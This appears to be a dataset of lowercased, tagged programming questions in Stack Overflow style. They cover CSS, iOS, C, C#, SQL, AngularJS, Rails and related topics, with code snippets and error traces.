name for & examples of css properties can shrink to one or two values  i ve searched the w3c css2 spec for the name of the feature that allows us to shrink duplicate values down to one or two like:   <pre><code>margin: 1px 1px 1px 1px;  -&gt; margin: 1px; padding: 1px 1px 2px 2px; -&gt; padding: 1px 2px; </code></pre>   but i m still not sure what the exact name for this is. does anyone know what this is called  also  can you list some other properties that follow this behavior (besides the obvious ones like <code>margin</code>  <code>padding</code>  and <code>border-radius</code>). i m writing a regex that matches these properties and would like to include as many them as possible!    thanks!,css
assertion failure trying to add a new phone number to an existing address book contact  i ve got the following code to add an additional phone number to an existing contact that already has some phone numbers. however its failing at the abmultivalueaddvalueandlabel call with what looks like an internal address book assertion:   <blockquote>    assertion failed: (((abcmultivalue *)multivalue)->flags.ismutable)    function abmultivalueaddvalueandlabel  file   /library/caches/com.apple.xbs/sources/addressbook/addressbook-11112.5/abmultivalue.c    line 110.  </blockquote>  <pre><code>cferrorref error = nil;     abaddressbookref addressbook = abaddressbookcreatewithoptions(null  &amp;error); cfarrayref people = abaddressbookcopypeoplewithname(addressbook  cfstr( some name ));     abrecordref person;     if ((people != nil) &amp;&amp; (cfarraygetcount(people) &gt; 0))     {         // add new phone numbers to existing contact         person = cfarraygetvalueatindex(people  0);         abmutablemultivalueref phonenumbers  = (__bridge abmutablemultivalueref)((__bridge nsmutabledictionary *)abrecordcopyvalue(person  kabpersonphoneproperty));         abmultivalueaddvalueandlabel(phonenumbers  (__bridge cfstringref)@ 2063333333   kabpersonphonemainlabel  null);         abrecordsetvalue(person  kabpersonphoneproperty  phonenumbers  nil);         abaddressbookaddrecord(addressbook  person  nil); </code></pre>   however  fairly similar code to create a new entry is ok when abmultivalueaddvalueandlabel is called:   <pre><code>person = abpersoncreate(); abrecordsetvalue(person  kabpersonfirstnameproperty  @ some name   nil); abmutablemultivalueref phonenumbers  = abmultivaluecreatemutable(kabmultistringpropertytype); abmultivalueaddvalueandlabel(phonenumbers  (__bridge cfstringref)@ 2061111111   kabpersonphonemainlabel  null); abmultivalueaddvalueandlabel(phonenumbers  (__bridge cfstringref)@ 2062222222   kabpersonphonemainlabel  null); abrecordsetvalue(person  kabpersonphoneproperty  phonenumbers  nil); abaddressbookaddrecord(addressbook  person  nil); </code></pre>   why does abmultivalueaddvalueandlabel succeed in the second code snippet but fail in the first,ios
column tag of css is not working in internet explorer <pre><code>.threecolulmn{     columns:170px 3;     -webkit-columns:170px 3;      -moz-columns:170px 3;  } </code></pre>   i am trying to dividing div into three columns it works porperly in mozila and chrome but in internet explorer its not working. kindly give me some solution.,css
how to pass long value in url c# web applications   how to pass long value in url c# web applications    querystring using passing a base64 value(converting image to  base64) in two  different applications..,c#
array via setter   this is just a test to help me learn objective-c  it uses nsmutablearray to add tire objects to an instance variable in a car object:   <pre><code>// interface @interface carbody : nsobject {  nsmutablearray *tires; } // should this be (id *) it works but i was convinced it would be pointer  - (void) addtire:(id)newtire; @end  @interface tiresnow : nsobject { } @end  // implementation @implementation carbody - (void) addtire:(id)newtire {  [tires addobject:newtire];     // ** release here or in main()   } - (id) init {  [super init];  tires = [[nsmutablearray alloc] init];  nslog(@ _init: %@   nsstringfromclass([self class]));  return self; } - (void) dealloc {  nslog(@ _deal: %@   nsstringfromclass([self class]));  [tires release];  [super dealloc]; } @end </code></pre>   i do have a few questions ...   <ol> <li>in the addtire method  is the (id) right  i thought it was going to be (id *)</li> <li>releasing the item i am adding to the array  should i do it inside the setter or in main() after i call it </li> <li>am i allocating / releasing the nsmutablearray (tires) in the right place  it feels right </li> <li>is there a way to do this with nsarray (as i only want 4 tires)  i did try this but got mixed up trying to alloc the array and define its size.</li> </ol>   thanks in advance for any help ...    gary   <h1>edit:</h1>   i am reading the memory management rules  but they do take some time to absorb and do require a certain level of understanding that is difficult to gain when starting out. what i am wondering about in this situation is where would i release the newsnowtire that i alloc in main. when i add it to the array in the setter does that create a new object in the array (thats my understanding) so my thinking was that i would need to release the instance i got from alloc    <pre><code>// main #import &lt;foundation/foundation.h&gt;  int main (int argc  const char * argv[]) {     nsautoreleasepool * pool = [[nsautoreleasepool alloc] init];      carbody *newcarbody_001;     tiresnow *newsnowtire_001;      newcarbody_001 = [[carbody alloc] init];     newsnowtire_001 = [[tiresnow alloc] init];      [newcarbody_001 addtire:newsnowtire_001];      // clean up     [newcarbody_001 release];     [newsnowtire_001 release];     [pool drain];     return 0; } </code></pre>  <h1>edit_002:</h1>   just added the code to generate all 4 tires with the tire release moved into the loop after the setter is called.   <pre><code>// create tires for(int loopcounter=0; loopcounter&lt;4; loopcounter++) {     newsnowtire_001 = [[tiresnow alloc] init];     [newcarbody_001 addtire:newsnowtire_001];     [newsnowtire_001 release]; } </code></pre>   i just checked this and it is correct ...   <ol> <li>newsnowtire_001 (alloc)   retaincount = 1</li> <li>newsnowtire_001 (addtire) retaincount = 2</li> <li>newsnowtire_001 (release) retaincount = 1</li> <li>newsnowtire_001 finally released by dealloc method.</li> </ol>,objective-c
how to find the index of the second largest value in an array  given this:   <pre><code>int areas[20];  for (int i = 0; i &lt; 20; i++) {     areas[i] = detectedblobs[i].getwidth() * detectedblobs[i].getheight(); } </code></pre>   i understand how to sort arrays and find the first  second  third  etc. largest values  but how can i find the index values associated with the first  second or third largest values,objective-c
passing string from form to usercontrol  error object reference required non-static  i m trying to pass a string from a form to an usercontrol. i searched on this site and i found this code:   <pre><code>// form code public string id {     get { return username_txt.text; } }  private void textbox1_textchanged(object sender  eventargs e) {     enrollfrommicrophone.id = id; }  //user control code  public string id {     set { textbox2.text = value; } } </code></pre>   now the problem is  i get the following error:   <blockquote>    an object reference is required for the non-static field  method  or property  neurotec.samples.enrollfrommicrophone.id.set      </blockquote>,c#
mysql select records from related table  so i have two tables:    <strong>products</strong> id name    <strong>product_variants</strong> id product_id name barcode    i want to select all products with one query containing one field with the amount of related variants and one field with all related barcodes (seperated by space).    so for example this output:   <pre><code>product_id    product_name    product_variant_count    product_variant_barcodes 1             product 1       3                        1234567890 0987654321 5432109876 2             product 2       1                        6789054321 3             product 3       2                        1234509876 3456781290 </code></pre>   is this possible,mysql
what is the gethashcode method for   what is the <code>gethashcode</code> method of a string object     is this the same as when you compute the hashcode of something  but <code>gethashcode</code> returns int  shouldn t it return a byte array     thanks!,.net
how to show string base on word in css from end to first  i have this string:   <pre><code>i am saeid </code></pre>   i want convert the string like(end to first):   <pre><code>saeid am i </code></pre>   how to show string base on word in css from end to first,css
looking for a number in a group (array)  is there a way to perform a group conditional statement       for example  i have a process which returns random numbers from an array (x) which i want to compare to the first 100 prime numbers.    is there a function or method available by which i could do:   <pre><code>if (x in first_100_prime_numbers)     ... </code></pre>,objective-c
picking items from array that contains integers  i am trying to have an array that contains 5 integers(0 1 2 3 4) called questionnumber the questionnumber is supposed to end up with 4 so therefore i am trying to make a function to call randomly numbers 0-3 and go from one to another (add 1 to prevoius number) until they reach 4. how would this be implemented  many thanks,iphone
trying to understand some simple recursive c code  can somebody tell me how the flow is going on after the output statement  value of x before is 8      <pre><code>#include&lt;stdio.h&gt;  void sum(int x) {     if(x==9)         return;      printf( \n value of x before is %d  x);      /* recursive calling of sum() function */      sum(x+1);      printf( \nvalue of x after is %d  x); }  int main() {         sum(2); } </code></pre>   output:   <pre><code>value of x before is 2 value of x before is 3 value of x before is 4 value of x before is 5 value of x before is 6 value of x before is 7 value of x before is 8 value of x after is 8 value of x after is 7 value of x after is 6 value of x after is 5 value of x after is 4 value of x after is 3 value of x after is 2 </code></pre>,c
angular call a controller specific function every time that a specific $state is hit  i am doing a wait screen with a timeout on a state. i want the $timeout to be called everytime the user goes to that state.    something like the function bellow:   <pre><code>function loadingcontroller($scope $state $timeout){     this.$state=$state;     var self=this;      if(this.handlestatevalidity()){         var timeoutfn=function(){             self.gotoredirecturl();         }         $timeout(timeoutfn 2000);      } }); </code></pre>   of course this is only being called once the controller is first loaded. how can i detect subsequent hits to the state that this controller is concerned,angularjs
problem with character array input and output in c  i wrote the following code to read a character array and print it.     <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; #include&lt;conio.h&gt; void read_array(char a[] int n); void print_array(char a[] int n); int main(void) {     char a[100];     int n;     printf( \nenter n: );     scanf( %d  &amp;n);     printf( \nenter the characters: );     read_array(a n);     printf( \nthe array now is:  );     print_array(a n);     getch();     return 0; }  void read_array(char a[] int n) {      int i;      for(i=0;i&lt;n;i++)          scanf( %c  &amp;a[i]);  } void print_array(char a[] int n) {      int i;      for(i=0;i&lt;n;i++)                         printf( a[%d]=%c\n  i a[i]); } </code></pre>   <strong>input:</strong>   <pre> enter n:15   enter the characters:xxxxx     xxxxx   </pre>   <strong>output:</strong>   <pre> the array now is:   a[0]=     a[1]=x     a[2]=x     a[3]=x     a[4]=x     a[5]=x     a[6]=     a[7]=     a[8]=     a[10]=     a[11]=x     a[12]=x    a[13]=x     a[14]=x     </pre>   where in my input <code>a[5]</code> through <code>a[9]</code> are <strong>blank</strong> characters. so how come in the output <code>a[0]=(a blank)</code>,c
deployment rule sets and java 7u51  i am trying to create a deployment rule set as described here: link    i created a simple rule  to allow everything from localhost like   <pre><code>&lt;rule&gt;     &lt;id location= http://localhost  /&gt;     &lt;action permission= run  /&gt; &lt;/rule&gt; </code></pre>   after i self-signed the jar file and deployed it in windows when i try to run a self-signed app(jnlp) from localhost it is still blocked.    <strong>application blocked by deployment rule set.</strong>  <strong>can not verify self-signed deployment rule set jar</strong>    q: can anyone tell me why is not working  do i have to sign the deployment jar with a verified certificate  i tried to use the deployment rules to avoid the block for my application. i don t want to lower the security or add my site to the trusted list.,java
angular and tables  i m confused why my <code>{{item}}</code> isn t being bound to the controller s  <code>data</code> object.    my html is just  {{item}}.     <a href= http://jsfiddle.net/rtfta/3/  rel= nofollow >http://jsfiddle.net/rtfta/3/</a>    <pre><code>&lt;div ng-controller= controller &gt; &lt;table&gt;     &lt;tbody ng-repeat= items in data &gt;       &lt;tr ng-repeat= item in items &gt;         &lt;td&gt;{{item}}&lt;/td&gt;       &lt;/tr&gt;     &lt;/tbody&gt;   &lt;/table&gt; &lt;/div&gt; </code></pre>   .   <pre><code>function controller($scope) {        $scope.data = [ monday    tuesday    wednesday ]; } </code></pre>,angularjs
generate pdf file without using third party dll  can you please help me in generating pdf file using c# and without using 3rd party dll  expect all possible solutions/ideas/suggestions.    thanks  anil,c#
my sub-query returns more than 1 row  of course  the problem is that i m getting more rows in the sub-query.    but i don t know how to fix it in order to achieve my goals.    this is how my query looks like:   <pre><code>select movies.name  movies.id       (select username from users inner join movies on          movies.added_by_id = users.id)      as added_by_username from movies </code></pre>   for example we have more movies in our db  and those movies were added by users.    <strong>goals:</strong> i want to display all the movies and the usernames of the users who added them.,sql
ajaxtoolkit:calendarextender cant work on asp.net web page  i would like to show a calender when i click the image button and the selected date will be display on the text box. i used ajaxtoolkit  but there is error show the not a known element(toolkitscriptmanager  calendarextender).     web.config:   <pre><code>&lt;system.web&gt;   &lt;compilation debug= true  targetframework= 4.5  /&gt;   &lt;httpruntime targetframework= 4.5  /&gt;   &lt;pages&gt;     &lt;controls&gt;       &lt;add tagprefix= ajaxtoolkit  namespace= ajaxcontroltoolkit  assembly= ajaxcontroltoolkit /&gt;     &lt;/controls&gt;   &lt;/pages&gt; &lt;/system.web&gt; </code></pre>   my page:   <pre><code>&lt;%@ register assembly= ajaxcontroltoolkit  namespace= ajaxcontroltoolkit  tagprefix= ajaxtoolkit  %&gt;  &lt;table class= auto-style18 &gt;                     &lt;tr&gt;                         &lt;td class= auto-style19 &gt;                            &lt;asp:toolkitscriptmanager id= toolkitscriptmanager1  runat= server &gt;&lt;/asp:toolkitscriptmanager&gt;   &lt;- error occur there(show not known element)                                                  &lt;asp:textbox id= txtexpireddate  runat= server  width= 260px &gt;&lt;/asp:textbox&gt;                         &amp;nbsp; &lt;/td&gt;                         &lt;td&gt;                         &lt;asp:imagebutton id= imagebutton1  runat= server  alternatetext= click here to display calendar  height= 21px  imageurl= ~/images/calender.png  width= 26px  /&gt;                                                             &lt;asp:calendarextender  id= calendarextender1   targetcontrolid= txtexpireddate  runat= server  /&gt;  &lt;- error occur there(show not known element)                                                  &lt;/td&gt;                     &lt;/tr&gt;                 &lt;/table&gt; </code></pre>,asp.net
cipher sqlite read encoded data  can some one help me to where can i put this password please    i encoded my data and blow code is read normal dataabse but i want to read encoded cipher sqlite data  but i do not know how can i    this is password   <pre><code>const char* key = [@ pasword123  utf8string];   if (sqlite3_open([path utf8string]  &amp;database) == sqlite_ok) {          const char *sql =  select * from contents ;          sqlite3_stmt *searchstatement;          if (sqlite3_prepare_v2(database  sql  -1  &amp;searchstatement  null) == sqlite_ok) {              favtitle = [[nsmutablearray alloc] init];              while (sqlite3_step(searchstatement) == sqlite_row) {                 nsstring *title = [nsstring stringwithutf8string:(char *)sqlite3_column_text(searchstatement  1)];                  [favtitle addobject:title];              }         }else{             nslog(@ no );         }         sqlite3_finalize(searchstatement);         sqlite3_close(database);      } </code></pre>   thank you,ios
undefined method `require_rspec_core  for rspec::support:module  during running migration  in rails  during running migration i get rake aborted!    <blockquote>    nomethoderror: undefined method `require_rspec_core  for rspec::support:module  </blockquote>   console log:   <pre><code>rake db:create rails_env=production rake aborted! nameerror: uninitialized constant rails::generators::actions /home/ubuntu/.rvm/gems/ruby-2.1.0/gems/railties-4.1.9/lib/rails/generators/base.rb:17:in `&lt;class:base&gt;  /home/ubuntu/.rvm/gems/ruby-2.1.0/gems/railties-4.1.9/lib/rails/generators/base.rb:15:in `&lt;module:generators&gt;  /home/ubuntu/.rvm/gems/ruby-2.1.0/gems/railties-4.1.9/lib/rails/generators/base.rb:11:in `&lt;module:rails&gt;  /home/ubuntu/.rvm/gems/ruby-2.1.0/gems/railties-4.1.9/lib/rails/generators/base.rb:10:in `&lt;top (required)&gt;  /home/ubuntu/.rvm/gems/ruby-2.1.0/gems/my_zipcode_gem-0.1.3/lib/my_zipcode_gem.rb:1:in `&lt;top (required)&gt;  /home/ubuntu/.rvm/gems/ruby-2.1.0/gems/bundler-1.9.4/lib/bundler/runtime.rb:76:in `require  /home/ubuntu/.rvm/gems/ruby-2.1.0/gems/bundler-1.9.4/lib/bundler/runtime.rb:76:in `block (2 levels) in require  /home/ubuntu/.rvm/gems/ruby-2.1.0/gems/bundler-1.9.4/lib/bundler/runtime.rb:72:in `each  /home/ubuntu/.rvm/gems/ruby-2.1.0/gems/bundler-1.9.4/lib/bundler/runtime.rb:72:in `block in require  /home/ubuntu/.rvm/gems/ruby-2.1.0/gems/bundler-1.9.4/lib/bundler/runtime.rb:61:in `each  /home/ubuntu/.rvm/gems/ruby-2.1.0/gems/bundler-1.9.4/lib/bundler/runtime.rb:61:in `require  /home/ubuntu/.rvm/gems/ruby-2.1.0/gems/bundler-1.9.4/lib/bundler.rb:134:in `require  /var/www/my-attorney-on-demand-web/config/application.rb:14:in `&lt;top (required)&gt;  /var/www/my-attorney-on-demand-web/rakefile:4:in `require  /var/www/my-attorney-on-demand-web/rakefile:4:in `&lt;top (required)&gt;  /home/ubuntu/.rvm/gems/ruby-2.1.0/bin/ruby_executable_hooks:15:in `eval  /home/ubuntu/.rvm/gems/ruby-2.1.0/bin/ruby_executable_hooks:15:in `&lt;main&gt;  (see full trace by running task with --trace) </code></pre>,ruby-on-rails
can we include  or  operator for a same variable in a single expression in c++  for example    <pre><code>while(x==1 || x==2){  } </code></pre>   here can we combine it to one expression using or operator only (something like this    <pre><code>x==1or2) </code></pre>   if yes how <br> if no how to do it by other methods,c++
distinguish between viewcontrollers of didselectviewcontroller  what do i need to replace     with to make it work  thanks!   <pre><code>- (void) tabbarcontroller: (uitabbarcontroller *) tabbarcontroller didselectviewcontroller: (uiviewcontroller *) viewcontroller { switch(viewcontroller.   ) {     case 0:         // first uiviewcontroller was selected     case 1:         // second uiviewcontroller was selected         break; } </code></pre>   },objective-c
inserting data in to a table add already inserted data  i have 3 tables <code>tblpermission</code>  <code>tblgroup</code>  <code>tblassigngrouppermission</code>. then i have a design there have two comboboxes for selecting group and permission. after select i add it to a listview. then i save it  at that time it will go to the table <code>tblassigngrouppermission</code>.     that table has columns such as <code>assign id</code> (default increment)  <code>groupid</code>  <code>permission id</code>. all are correctly added to the table. after that saving if i select the same group for assign permission. then i select already assigned permission and click save it added to the table. but i need there not add the already assigned permission to the table.    how can i do this,asp.net
reg: click event not working for dynamically added class <pre><code>$( div.input-player-close#player ).click(function (event) {      if ($( .input-player-close ).length) {         $( div#player ).removeattr( class ).addclass( input-player-plus );         $( div#player p ).html( select the filename );     } });        $( div.input-player-plus#player ).click(function (event) {       if ($( div.input-player-plus ).length &gt; 0) {         $( div#player ).removeattr( class ).addclass( input-player-close );         $( div#player p ).html( print the filename );     } }); </code></pre>   <strong>what above should do</strong>   <pre><code>&lt;div class= input-player-plus  id= player &gt;   &lt;p&gt;select the filename&lt;/p&gt; &lt;/div&gt; </code></pre>   <strong>after clicked</strong>   <pre><code>&lt;div class= input-player-close  id= player &gt;   &lt;p&gt;print the filename&lt;/p&gt; &lt;/div&gt; </code></pre>   the above fails to perform my expected output  looks no issue in the above code  still somewhere  something i am missing.,jquery
don t understand how to input/print and compare string in loop in c  i m newcomer to c and i am stuck. i want to write simple program  which will take input from keyboard and output it if it isn t an  exit  word. i ve tried few different approaches and none of them works. almost in all cases i get infinite output of the first input.    here is one of my approaches:   <pre><code>#include &lt;stdio.h&gt;  int main() {     char word[80];      while (1) {         puts( enter a string:  );         scanf( %79[^\n]   word);          if (word ==  exit )             break;          printf( you have typed %s   word);     }      return 0; } </code></pre>   i thought after it finish every loop it should give me prompt again  but it doesn t.  what i am doing wrong.     please if you know give me some advice.    thanks in advance. really  guys i will be so happy if you help me to understand what i am doing wrong.     oh  by the way i ve noticed that when i typed some word and press  enter   the result string also include <code>enter</code> at the end. how can i get rid of this,c
rails s - exiting and cant figure out why  below is the errors its throwing. i am very new to this so still learning to troubleshoot. thanks for the help.    <pre><code>exiting /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:469:in `load : /users/silver2002ws6/code/omrails/app/models/model.rb:11: syntax error  unexpected keyword_end (syntaxerror)     from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:469:in `block in load_file      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:639:in `new_constants_in      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:468:in `load_file      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:353:in `require_or_load      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:502:in `load_missing_constant      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:192:in `block in const_missing      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:190:in `each      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:190:in `const_missing      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/inflector/methods.rb:230:in `block in constantize      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/inflector/methods.rb:229:in `each      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/inflector/methods.rb:229:in `constantize      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:554:in `get      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:588:in `constantize      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/devise-3.0.1/lib/devise.rb:278:in `get      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/devise-3.0.1/lib/devise/mapping.rb:77:in `to      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/devise-3.0.1/lib/devise/mapping.rb:72:in `modules      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/devise-3.0.1/lib/devise/mapping.rb:89:in `routes      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/devise-3.0.1/lib/devise/mapping.rb:156:in `default_used_route      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/devise-3.0.1/lib/devise/mapping.rb:66:in `initialize      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/devise-3.0.1/lib/devise.rb:312:in `new      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/devise-3.0.1/lib/devise.rb:312:in `add_mapping      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/devise-3.0.1/lib/devise/rails/routes.rb:208:in `block in devise_for      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/devise-3.0.1/lib/devise/rails/routes.rb:207:in `each      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/devise-3.0.1/lib/devise/rails/routes.rb:207:in `devise_for      from /users/silver2002ws6/code/omrails/config/routes.rb:4:in `block in &lt;top (required)&gt;      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/actionpack-3.2.12/lib/action_dispatch/routing/route_set.rb:282:in `instance_exec      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/actionpack-3.2.12/lib/action_dispatch/routing/route_set.rb:282:in `eval_block      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/actionpack-3.2.12/lib/action_dispatch/routing/route_set.rb:260:in `draw      from /users/silver2002ws6/code/omrails/config/routes.rb:1:in `&lt;top (required)&gt;      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:245:in `load      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:245:in `block in load      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:236:in `load_dependency      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:245:in `load      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/application/routes_reloader.rb:40:in `block in load_paths      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/application/routes_reloader.rb:40:in `each      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/application/routes_reloader.rb:40:in `load_paths      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/application/routes_reloader.rb:16:in `reload!      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/application/routes_reloader.rb:26:in `block in updater      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/file_update_checker.rb:78:in `call      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/file_update_checker.rb:78:in `execute      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/application/routes_reloader.rb:27:in `updater      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/application/routes_reloader.rb:7:in `execute_if_updated      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/application/finisher.rb:66:in `block in &lt;module:finisher&gt;      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/initializable.rb:30:in `instance_exec      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/initializable.rb:30:in `run      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/initializable.rb:55:in `block in run_initializers      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/initializable.rb:54:in `each      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/initializable.rb:54:in `run_initializers      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/application.rb:136:in `initialize!      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/railtie/configurable.rb:30:in `method_missing      from /users/silver2002ws6/code/omrails/config/environment.rb:5:in `&lt;top (required)&gt;      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:251:in `require      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:251:in `block in require      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:236:in `load_dependency      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:251:in `require      from /users/silver2002ws6/code/omrails/config.ru:3:in `block in &lt;main&gt;      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/rack-1.4.5/lib/rack/builder.rb:51:in `instance_eval      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/rack-1.4.5/lib/rack/builder.rb:51:in `initialize      from /users/silver2002ws6/code/omrails/config.ru:in `new      from /users/silver2002ws6/code/omrails/config.ru:in `&lt;main&gt;      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/rack-1.4.5/lib/rack/builder.rb:40:in `eval      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/rack-1.4.5/lib/rack/builder.rb:40:in `parse_file      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/rack-1.4.5/lib/rack/server.rb:200:in `app      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/commands/server.rb:46:in `app      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/rack-1.4.5/lib/rack/server.rb:304:in `wrapped_app      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/rack-1.4.5/lib/rack/server.rb:254:in `start      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/commands/server.rb:70:in `start      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/commands.rb:55:in `block in &lt;top (required)&gt;      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/commands.rb:50:in `tap      from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/railties-3.2.12/lib/rails/commands.rb:50:in `&lt;top (required)&gt;      from script/rails:6:in `require      from script/rails:6:in `&lt;main&gt;  austins-macbook-pro:omrails silver2002ws6$ exiting -bash: exiting: command not found austins-macbook-pro:omrails silver2002ws6$ /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:469:in `load : /users/silver2002ws6/code/omrails/app/models/model.rb:11: syntax error  unexpected keyword_end (syntaxerror) &gt; from /usr/local/rvm/gems/ruby-1.9.3-p392/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:469:in `block in load_file  &gt; from /usr/local/rvm/ </code></pre>,ruby-on-rails
setting selected attribute on option on ng-options  <strong>problem</strong>    i have two api s which returns vehicle information and vehicle types. when i go to my vehicle edit view the drop-down menus for vehicletype and others are not being set to their corresponding values  they remain with  please select an option .    <strong>html</strong>   <pre><code>&lt;select class= browser-default       ng-model= editedvehicle.vehicletypeid       ng-options= vehicletype.name for vehicletype in vehicletypes track by vehicletype.id &gt;      &lt;option value=   disabled selected&gt;select a vehicle type&lt;/option&gt; &lt;/select&gt; </code></pre>   <strong>controller code</strong>   <pre><code>// get vehicle types $http({     url:  /api/vehicletype/       method:  get       headers: authenticationservice.getauthtoken()  }).success(function (data) {     $scope.vehicletypes = data;  }).error(function () {  });  // get vehicle $http({     url:  /api/vehicle/  + $routeparams.id      method:  get       headers: authenticationservice.getauthtoken()  }).success(function (data) {     $scope.editedvehicle = data;  }).error(function () {  }); </code></pre>   <strong>typical vehicle type data response</strong>   <pre><code>[    {        id :1         name : artic     }     {        id :2         name : rigid     }     {        id :3         name : van     } ] </code></pre>   <strong>typical vehicle data response</strong>   <pre><code>{       $id : 1       id :0      vin :        registrationnumber :        fuelcapacity :      grossweight :      trainweight :      colour : air force blue       manufacturer : mercedes-benz       model : axor       vehicletype : rigid       modelid :16      vehicletypeid :2      colourid :1      maintenancevm :{          $id : 2          servicedate : 18/02/2016          motdate : 07/09/2016          taxexpirydate : 02/09/2016          olicenseexpirydate : 04/02/2017     }  } </code></pre>   <strong>question</strong>    how do i make sure with the response i get automatically set the drop down menus to the required item.,angularjs
showing the il code of a .net assembly   i try to decompile a .net assembly. currently i get the class- and typenames. but how do i get the il code of the whole binary,c#
